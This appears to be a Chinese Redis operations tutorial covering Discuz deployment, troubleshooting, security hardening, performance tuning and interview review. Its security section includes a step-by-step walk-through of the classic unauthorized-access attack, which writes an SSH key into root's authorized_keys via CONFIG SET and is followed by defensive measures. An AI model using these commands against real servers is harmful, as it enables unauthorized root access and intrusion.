redis-cli SET key1 value1 EX $((3600 + RANDOM % 600))
redis-cli SET key2 value2 EX $((3600 + RANDOM % 600))
第8章:Redis实战案例------LNMP+Redis+Discuz部署
【教案补充】 本章来自G盘LNMP+Redis+Discuz企业级部署实战,展示Redis在PHP网站中的实际应用。
8.1 架构拓扑
用户浏览器 → Nginx (负载均衡)
├── PHP-FPM (Web1) ─┐
├── PHP-FPM (Web2) ─┤
└── PHP-FPM (Web3) ─┤
├── Redis (Session/缓存)
├── MySQL (持久化数据)
└── NFS (附件/上传文件)
Redis在其中的作用:
- Session共享:多台Web服务器共享用户登录状态
- 热点数据缓存:文章/帖子/配置缓存
- 计数器:帖子浏览量、点赞数
8.2 PHP Redis扩展安装
bash
# 安装php-redis扩展
yum install -y php-redis
# 或编译安装
pecl install redis
# 验证
php -m | grep redis
8.3 Session配置
ini
# php.ini
session.save_handler = redis
session.save_path = "tcp://192.168.1.11:6379?auth=StrongP@ss123&database=1"
8.4 PHP操作Redis示例
php
<?php
// 连接Redis
$redis = new Redis();
$redis->connect('192.168.1.11', 6379);
$redis->auth('StrongP@ss123');
// 缓存查询
$cacheKey = 'discuz:article:latest';
$articles = $redis->get($cacheKey);
if (!$articles) {
// 从MySQL查询
$result = $mysqli->query("SELECT * FROM pre_forum_thread ORDER BY dateline DESC LIMIT 20");
$articles = json_encode($result->fetch_all(MYSQLI_ASSOC));
$redis->setex($cacheKey, 3600, $articles);
}
// 浏览量计数
$redis->incr('discuz:article:' . $tid . ':views');
?>
8.5 部署注意事项
- Redis放在内网,不暴露公网端口
- 强密码认证(
requirepass) - 限制连接数:
maxclients 10000 - 监控内存使用率(建议 < 70%)
- 定期备份RDB/AOF文件
第9章:Redis故障排查与安全加固
9.1 常见故障分类
| 故障类别 | 典型现象 | 排查方向 |
|---|---|---|
| 连接故障 | 客户端无法连接 | 防火墙/SELinux、bind配置、最大连接数 |
| 内存故障 | OOM、SWAP、操作超时 | maxmemory、淘汰策略、BigKey |
| 持久化故障 | RDB/AOF写入失败、启动加载失败 | 磁盘空间、权限、文件损坏 |
| 复制故障 | 主从断开、延迟过大 | 网络、防火墙、积压缓冲区 |
| 高可用故障 | 哨兵/Sentinel频繁切换 | 网络抖动(排查down-after)、failover超时 |
| 性能故障 | 响应变慢、CPU 100% | 慢查询、BigKey、持久化 |
| 安全故障 | 未授权访问、数据被篡改 | 认证配置、公网暴露 |
9.2 核心诊断命令
bash
# 内存
redis-cli INFO memory | grep used_memory_human
redis-cli --bigkeys # 扫描BigKey
# 性能
redis-cli SLOWLOG GET 10 # 最近10条慢查询
redis-cli SLOWLOG RESET # 清空慢查询日志
redis-cli INFO stats | grep instantaneous_ops_per_sec # 当前QPS
# 连接
redis-cli INFO clients | grep connected_clients
redis-cli CLIENT LIST # 查看所有客户端连接
# 持久化
redis-cli INFO persistence # RDB/AOF状态
# 复制
redis-cli INFO replication # 主从状态
# CPU/内存
redis-cli INFO cpu
redis-cli INFO memory | grep mem_fragmentation_ratio # 碎片率
9.3 经典故障案例
案例1:缓存雪崩 → 数据库崩溃
现象:凌晨定时任务刷新全部缓存,瞬间全部key过期,大量请求打到MySQL
根因:缓存key统一过期时间
解决:过期时间加随机值(EXPIRE key 3600 + random(0, 600))
案例2:BigKey导致操作阻塞
bash
# 排查BigKey
redis-cli --bigkeys
# 输出示例:
# Biggest string found: "user:data:999999" has 5242880 bytes
# Biggest list found: "message_history" has 9999999 items
# 避免方案:
# 1. String:压缩后存储 或 拆分(user:1001:part1/part2)
# 2. List/Hash/Set:分片存储(key_1, key_2...)
# 3. 大Value场景:只存储ID,内容存对象存储(OSS/S3)
BigKey的危害:
- 内存不均(单节点倾斜)
- 操作阻塞(DEL大Key时Redis是单线程的)
- 网络带宽瓶颈(迁移大Key耗时)
- 主从切换时全量同步慢
案例3:主从切换失败
现象:哨兵选出新主,但Slave切换失败
排查:
1. redis-cli -p 26380 SENTINEL get-master-addr-by-name mymaster
2. 检查新主节点的 replica-read-only 配置
3. 检查日志中 +failover-state-* 状态变化
解决:
# 手动强制切换
redis-cli -h slave_ip -p 6380 REPLICAOF NO ONE # 提升为Master
redis-cli -h other_slave -p 6381 REPLICAOF 192.168.1.11 6380 # 指向新Master
案例4:Cluster节点失效
bash
# 节点挂掉后集群状态
redis-cli -p 6379 CLUSTER NODES | grep fail
# 节点自动由Slave接管
# 手动修复失效节点
# 1. 重启失效节点
redis-server /etc/redis/7000.conf
# 2. 如果原Master已恢复,需要手动CLUSTER FAILOVER让Master降级或删除后重新加入
redis-cli -p 7000 CLUSTER RESET
redis-cli -p 6379 CLUSTER MEET 192.168.166.9 7000
9.4 安全加固
基线检查清单
| 类别 | 检查项 | 配置 |
|---|---|---|
| 认证 | 设置强密码 | requirepass StrongP@ss123 |
| 网络 | 绑定内网IP | bind 192.168.x.x |
| 网络 | 修改默认端口 | port 16379 |
| 网络 | 启用保护模式 | protected-mode yes |
| 网络 | 禁止危险命令 | rename-command FLUSHDB "" |
| 配置 | 禁用CONFIG远程修改 | rename-command CONFIG "" |
| 权限 | 配置文件600 | chmod 600 redis.conf |
| 权限 | 专用用户运行 | User=redis |
| 监控 | 开启日志 | logfile /data/redis/log/redis.log |
ACL访问控制(Redis 6.0+)
bash
# 创建只读用户
ACL SETUSER readonly ON >ReadP@ss123 ~* +@read -@write -@dangerous
# 创建读写用户
ACL SETUSER rwuser ON >RwP@ss123 ~* +@all -@dangerous
# 禁用危险命令类
ACL SETUSER appuser ON >AppP@ss123 ~* +@all -@dangerous
# 列出所有用户
ACL LIST
# 查看当前用户权限
ACL WHOAMI
真实攻击案例:【教案补充】
攻击者利用Redis未授权访问(无密码 + bind 0.0.0.0):
1. 扫描Redis端口:
nmap -p 6379 192.168.1.0/24
2. 发现无密码Redis后,写入SSH公钥:
redis-cli -h 目标IP config set dir /root/.ssh/
redis-cli -h 目标IP config set dbfilename "authorized_keys"
redis-cli -h 目标IP set ssh-key "\n\nssh-rsa AAAAB3Nz.....\n\n"
redis-cli -h 目标IP save
3. 使用私钥免密登录服务器:
ssh -i id_rsa root@目标IP
4. 上传挖矿程序、内网横向渗透...
防护措施:
- requirepass 必须设置
- bind 内网IP
- rename-command CONFIG "" (禁止CONFIG SET)
- 使用非root用户运行Redis
- 设置 iptables 白名单
Redis安全黄金法则
- 永远不要在无密码的情况下暴露Redis到公网
- 永远用非root用户运行Redis
- 务必 禁用危险命令:
FLUSHDB / FLUSHALL / CONFIG / DEBUG / SHUTDOWN - 务必用 ACL 最小权限(6.0+)
- 必须配置日志审计
第10章:Redis性能优化与面试必问总结
10.1 性能优化方向
Pipeline批量操作
bash
# 不使用Pipeline:n次RTT网络往返
# 使用Pipeline:一次网络往返
redis-cli --pipe << EOF
SET key1 val1
SET key2 val2
SET key3 val3
...
EOF
避免慢查询
bash
# 排查慢查询
SLOWLOG GET 20 # 获取最近20条
SLOWLOG LEN # 慢查询数量
# 配置慢查询
CONFIG SET slowlog-log-slower-than 10000 # 超过10ms记录(微秒)
CONFIG SET slowlog-max-len 128 # 最多存储128条
慢查询常见原因:
KEYS *(生产绝对禁用!改用SCAN)- 大Key操作(HGETALL大Hash)
- O(N)的集合操作(SMEMBERS大Set)
- RDB/AOF持久化I/O阻塞
内存优化
bash
# 内存碎片优化
redis-cli INFO memory | grep mem_fragmentation_ratio
# > 1.5 → 启用碎片整理
CONFIG SET activedefrag yes
# 内存使用率告警阈值
# 建议使用率 < 70%
redis-cli INFO memory | grep used_memory_human
ini
# 内存优化配置
maxmemory 4gb
maxmemory-policy allkeys-lru
activedefrag yes # 自动内存碎片整理
hash-max-ziplist-entries 512 # 小Hash使用压缩列表(节省内存)
hash-max-ziplist-value 64 # 值≤64字节时用ziplist
list-max-ziplist-size -2 # List用quicklist
zset-max-ziplist-entries 128 # 小ZSet用ziplist
redis-benchmark压测
bash
# 全面基准测试
redis-benchmark -h 127.0.0.1 -p 6379 -a password -n 1000000 -c 100 -q
# 单独测试某命令
redis-benchmark -t set,get -n 100000 -q
# 指定数据大小时用 -d
redis-benchmark -t set -n 100000 -d 1024 # 每条1KB数据
10.2 灾难恢复流程
1. 止损:断开问题节点网络 / 切换到备用节点
2. 评估:确认数据损坏范围(最后RDB时间、最后AOF位置)
3. 恢复:
├─ 有备份 → 最近RDB/AOF拷贝到数据目录 → 重启
└─ 无备份 → 检查AOF文件是否可修复
4. 验证:redis-cli DBSIZE → 对比关键key
5. 回归:重新加入集群/主从关系
10.3 监控告警关键指标
| 指标 | 含义 | 告警阈值 |
|---|---|---|
used_memory / maxmemory |
内存使用率 | > 80% |
instantaneous_ops_per_sec |
当前QPS | 环比波动 > 50% |
rejected_connections |
拒绝连接数 | > 0 |
master_link_status |
主从连接状态 | down |
connected_slaves |
从库数量 | 变化(减少) |
blocked_clients |
阻塞的客户端 | > 0 |
keyspace_hits / misses |
缓存命中率 | < 90% |
附录A:Redis面试必问知识速查
| 排序 | 知识点 | 章节 | 核心问题 |
|---|---|---|---|
| 1 | 缓存穿透/击穿/雪崩 | 第7章 | 定义 + 各自解决方案(至少说3种) |
| 2 | 持久化RDB vs AOF | 第3章 | 区别、优缺点、生产策略、混合持久化 |
| 3 | Cluster分片原理 | 第6章 | 16384槽位、CRC16算法、MOVED重定向、Gossip协议 |
| 4 | Redis为什么快 | 第1章 | 内存操作+单线程+IO多路复用+高效数据结构 |
| 5 | Sentinel故障转移 | 第5章 | SDOWN/ODOWN、Raft选举、4步转移、哨兵数量 |
| 6 | 5种数据类型 | 第2章 | 每种的特性和适用场景(ZSet的跳跃表原理) |
| 7 | 主从复制原理 | 第4章 | 全量/部分复制、PSYNC三要素、积压缓冲区 |
| 8 | 内存淘汰策略 | 第7章 | 8种策略(LRU/LFU区别)+ maxmemory-policy选择 |
| 9 | Redis事务 | 第7章 | vs MySQL事务、WATCH乐观锁、Cluster下限制 |
| 10 | 安全加固 | 第9章 | 未授权攻击案例、ACL、危险命令禁用 |
附录B:Redis运维工具箱
| 工具 | 用途 |
|---|---|
redis-cli |
命令行客户端 |
redis-benchmark |
性能基准测试 |
redis-check-aof |
AOF文件修复 |
redis-check-rdb |
RDB文件检查 |
redis-sentinel |
哨兵服务 |
redis-cli --bigkeys |
BigKey扫描 |
redis-cli --memkeys |
内存使用分析 |
redis-cli --latency |
延迟监控 |
redis-cli --stat |
实时状态 |
附录C:Redis vs Memcached
| 维度 | Redis | Memcached |
|---|---|---|
| 数据类型 | 5种丰富类型 | 仅String |
| 持久化 | RDB + AOF | 无 |
| 集群 | Cluster原生支持 | 客户端分片 |
| 线程模型 | 单线程(6.0+多线程I/O) | 多线程 |
| 最大Value | 512MB | 1MB |
| 适用 | 复杂场景、高可用需求 | 简单KV缓存 |